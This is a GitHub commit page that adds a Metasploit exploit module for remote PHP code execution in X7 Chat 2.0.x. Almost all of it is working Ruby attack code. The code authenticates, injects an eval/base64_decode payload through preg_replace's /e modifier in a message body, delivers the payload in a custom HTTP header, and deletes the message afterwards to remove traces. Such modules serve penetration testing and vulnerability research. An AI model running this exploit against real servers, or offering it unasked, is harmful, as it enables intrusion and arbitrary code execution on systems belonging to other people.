Skip to content

Commit 400ef51

Browse files
committed
Land rapid7#4076, exploit for x7chat PHP application
2 parents 277fd5c + 3bf7473 commit 400ef51

File tree

1 file changed

+193
-0
lines changed

1 file changed

+193
-0
lines changed
Lines changed: 193 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,193 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::PhpEXE
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution',
17+
'Description' => %q{
18+
This module exploits a post-auth vulnerability found in X7 Chat versions
19+
2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which
20+
uses preg_replace() function with the /e modifier. This allows a remote
21+
authenticated attacker to execute arbitrary PHP code in the remote machine.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'Fernando Munoz <fernando[at]null-life.com>', # discovery & module development
27+
'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
28+
],
29+
'References' =>
30+
[
31+
# Using this URL because isn't nothing else atm
32+
['URL', 'https://github.com/rapid7/metasploit-framework/pull/4076']
33+
],
34+
'Platform' => 'php',
35+
'Arch' => ARCH_PHP,
36+
'Targets' => [['Generic (PHP Payload)', {}]],
37+
'DisclosureDate' => 'Oct 27 2014',
38+
'DefaultTarget' => 0))
39+
40+
register_options(
41+
[
42+
OptString.new('USERNAME', [ true, 'Username to authenticate as', '']),
43+
OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', '']),
44+
OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '/x7chat2']),
45+
], self.class)
46+
end
47+
48+
def check
49+
res = exec_php('phpinfo(); die();', true)
50+
51+
if res && res.body =~ /This program makes use of the Zend/
52+
return Exploit::CheckCode::Vulnerable
53+
else
54+
return Exploit::CheckCode::Unknown
55+
end
56+
end
57+
58+
def exec_php(php_code, is_check = false)
59+
60+
# remove comments, line breaks and spaces of php_code
61+
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
62+
63+
# clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals)
64+
while Rex::Text.encode_base64(payload_clean) =~ /=/
65+
payload_clean = "#{ payload_clean } "
66+
end
67+
payload_b64 = Rex::Text.encode_base64(payload_clean)
68+
69+
cookie_x7c2u = "X7C2U=#{ datastore['USERNAME'] }"
70+
cookie_x7c2p = "X7C2P=#{ Rex::Text.md5(datastore['PASSWORD']) }"
71+
rand_text = Rex::Text.rand_text_alpha_upper(5, 8)
72+
73+
print_status("Trying for version 2.0.2 up to 2.0.5.1")
74+
print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")
75+
res = send_request_cgi({
76+
'method' => 'GET',
77+
'uri' => normalize_uri(target_uri.path, 'index.php'),
78+
'headers' => {
79+
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
80+
},
81+
'vars_get' => {
82+
# value compatible with 2.0.2 up to 2.0.5.1
83+
'act' => 'user_cp',
84+
'cp_page' => 'msgcenter',
85+
'to' => datastore['USERNAME'],
86+
'subject' => rand_text,
87+
'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }",
88+
}
89+
})
90+
91+
unless res && res.code == 200
92+
print_error("Sending the message (#{ rand_text }) has failed")
93+
return false
94+
end
95+
96+
if res.body =~ /([0-9]*)">#{ rand_text }/
97+
message_id = Regexp.last_match[1]
98+
user_panel = 'user_cp'
99+
else
100+
print_error("Could not find message (#{ rand_text }) in the message list")
101+
102+
print_status("Retrying for version 2.0.0 up to 2.0.1 a1")
103+
print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")
104+
res = send_request_cgi({
105+
'method' => 'GET',
106+
'uri' => normalize_uri(target_uri.path, 'index.php'),
107+
'headers' => {
108+
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
109+
},
110+
'vars_get' => {
111+
# value compatible with 2.0.0 up to 2.0.1 a1
112+
'act' => 'usercp',
113+
'cp_page' => 'msgcenter',
114+
'to' => datastore['USERNAME'],
115+
'subject' => rand_text,
116+
'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }",
117+
}
118+
})
119+
120+
unless res && res.code == 200
121+
print_error("Sending the message (#{ rand_text }) has failed")
122+
return false
123+
end
124+
125+
if res.body =~ /([0-9]*)">#{ rand_text }/
126+
message_id = Regexp.last_match[1]
127+
user_panel = 'usercp'
128+
else
129+
print_error("Could not find message (#{ rand_text }) in the message list")
130+
return false
131+
end
132+
end
133+
134+
print_status("Accessing message (#{ rand_text })")
135+
print_status("Sending payload in HTTP header '#{ rand_text }'")
136+
137+
if is_check
138+
timeout = 20
139+
else
140+
timeout = 3
141+
end
142+
143+
res = send_request_cgi({
144+
'method' => 'GET',
145+
'uri' => normalize_uri(target_uri.path, 'index.php'),
146+
'headers' => {
147+
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
148+
rand_text => payload_b64,
149+
},
150+
'vars_get' => {
151+
'act' => user_panel,
152+
'cp_page' => 'msgcenter',
153+
'read' => message_id,
154+
}
155+
}, timeout)
156+
157+
res_payload = res
158+
159+
print_status("Deleting message (#{ rand_text })")
160+
res = send_request_cgi({
161+
'method' => 'GET',
162+
'uri' => normalize_uri(target_uri.path, 'index.php'),
163+
'headers' => {
164+
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
165+
},
166+
'vars_get' => {
167+
'act' => user_panel,
168+
'cp_page' => 'msgcenter',
169+
'delete' => message_id,
170+
}
171+
})
172+
173+
if res && res.body =~ /The message has been deleted/
174+
print_good("Message (#{ rand_text }) removed")
175+
else
176+
print_error("Removing message (#{ rand_text }) has failed")
177+
return false
178+
end
179+
180+
# if check return the response
181+
if is_check
182+
return res_payload
183+
else
184+
return true
185+
end
186+
end
187+
188+
def exploit
189+
unless exec_php(payload.encoded)
190+
fail_with(Failure::Unknown, "#{peer} - Exploit failed, aborting.")
191+
end
192+
end
193+
end

0 commit comments

Comments
 (0)